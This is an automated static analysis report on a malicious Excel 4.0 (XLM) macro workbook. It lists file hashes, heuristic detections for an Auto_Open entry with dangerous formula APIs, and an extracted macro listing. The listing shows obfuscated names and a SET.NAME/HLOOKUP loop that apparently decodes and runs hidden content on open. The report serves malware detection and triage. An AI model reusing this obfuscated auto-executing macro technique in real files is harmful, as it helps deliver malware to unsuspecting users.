Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8f352ee37ea2217e…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:46:40 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 0abd021bbd934b7b13ab687e1da952d3 SHA-1: 18a186d828b874867de9950971f3a30d201167d5 SHA-256: 8f352ee37ea2217e3adb4c2235c939e66a30a37b561d2698b1b3f6487cdea456
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6767 bytes
SHA-256: 912000f56b90c5a03daf8cff7bfa9355832064f4b4753e8299b2f2a11fd1419b
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  jSkxNDkim
' 0018     20 LABEL : Cell Value, String Constant - abWvl len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A158 
' 0018     26 LABEL : Cell Value, String Constant - DhDEvlASKWP len=0 
' 0018     20 LABEL : Cell Value, String Constant - DVcJd len=0 
' 0018     26 LABEL : Cell Value, String Constant - GHZuAweNIKi len=0 
' 0018     26 LABEL : Cell Value, String Constant - HWghgdHZQuK len=0 
' 0018     24 LABEL : Cell Value, String Constant - HWNgqoKow len=0 
' 0018     23 LABEL : Cell Value, String Constant - ImNuPUFq len=0 
' 0018     25 LABEL : Cell Value, String Constant - iPMDnlMbxk len=0 
' 0018     23 LABEL : Cell Value, String Constant - iWXMjKwa len=0 
' 0018     20 LABEL : Cell Value, String Constant - kBNJW len=0 
' 0018     24 LABEL : Cell Value, String Constant - kQEmKZZfH len=0 
' 0018     22 LABEL : Cell Value, String Constant - oPTletI len=0 
' 0018     20 LABEL : Cell Value, String Constant - Owpux len=0 
' 0018     23 LABEL : Cell Value, String Constant - QqqxRtde len=0 
' 0018     26 LABEL : Cell Value, String Constant - SyOuNefRgya len=0 
' 0018     22 LABEL : Cell Value, String Constant - Vibfdsp len=0 
' 0018     21 LABEL : Cell Value, String Constant - XEwRfY len=0 
' 0018     21 LABEL : Cell Value, String Constant - xhilTL len=0 
' 0018     26 LABEL : Cell Value, String Constant - zGLIvYkzvWG len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZgXmiSUlrlCf len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  jSkxNDkim,T52,"",299.00000000000000000000
'  jSkxNDkim,T53,"",-49.00000000000000000000
'  jSkxNDkim,T54,"",-790.00000000000000000000
'  jSkxNDkim,T55,"",-49.00000000000000000000
'  jSkxNDkim,T56,"",839.00000000000000000000
'  jSkxNDkim,T57,"",396.00000000000000000000
'  jSkxNDkim,A62,"SET.NAME("iPMDnlMbxk",0+VALUE("0"))",""
'  jSkxNDkim,A66,"SET.NAME("kBNJW",iPMDnlMbxk)",""
'  jSkxNDkim,A70,"SET.NAME("Owpux",iPMDnlMbxk)",""
'  jSkxNDkim,A75,"SET.NAME("SyOuNefRgya",COUNTA(QqqxRtde))",""
'  jSkxNDkim,A78,"SET.NAME("xhilTL",COUNTA(ImNuPUFq))",""
'  jSkxNDkim,A83,[],""
'  jSkxNDkim,A88,"SET.NAME("Vibfdsp","")",""
'  jSkxNDkim,A92,"kBNJW",""
'  jSkxNDkim,A96,"SET.NAME("ZgXmiSUlrlCf",HLOOKUP("*",QqqxRtde,kBNJW,FALSE))",""
'  jSkxNDkim,A98,"DhDEvlASKWP",""
'  jSkxNDkim,A102,"SET.NAME("oPTletI",iPMDnlMbxk)",""
'  jSkxNDkim,A106,[],""
'  jSkxNDkim,A109,"oPTletI",""
'  jSkxNDkim,A114,"iWXMjKwa",""
'  jSkxNDkim,A117,"GHZuAweNIKi",""
'  jSkxNDkim,A119,"zGLIvYkzvWG",""
'  jSkxNDkim,A123,"SET.NAME("abWvl",VALUE(HLOOKUP("*",ImNuPUFq,zGLIvYkzvWG,FALSE)))",""
'  jSkxNDkim,A125,"kQEmKZZfH",""
'  jSkxNDkim,A128,"Vibfdsp",""
'  jSkxNDkim,A131,"Owpux",""
'  jSkxNDkim,A135,NEXT(),""
'  jSkxNDkim,A139,"DVcJd",""
'  jSkxNDkim,A143,[],""
'  jSkxNDkim,A148,"XEwRfY",""
'  jSkxNDkim,A151,NEXT(),""
'  jSkxNDkim,A155,RETURN(),""
'  jSkxNDkim,A181,"SET.NAME("HWNgqoKow",A62)",""
'  jSkxNDkim,A186,"QqqxRtde",""
'  jSkxNDkim,A189,"SET.NAME("ImNuPUFq",R46C11)",""
'  jSkxNDkim,A191,"SET.NAME("XEwRfY",196)",""
'  jSkxNDkim,A193,"SET.NAME("HWghgdHZQuK",1)",""
'  jSkxNDkim,A195,HWNgqoKow(),""
'  jSkxNDkim,A196,HALT(),""

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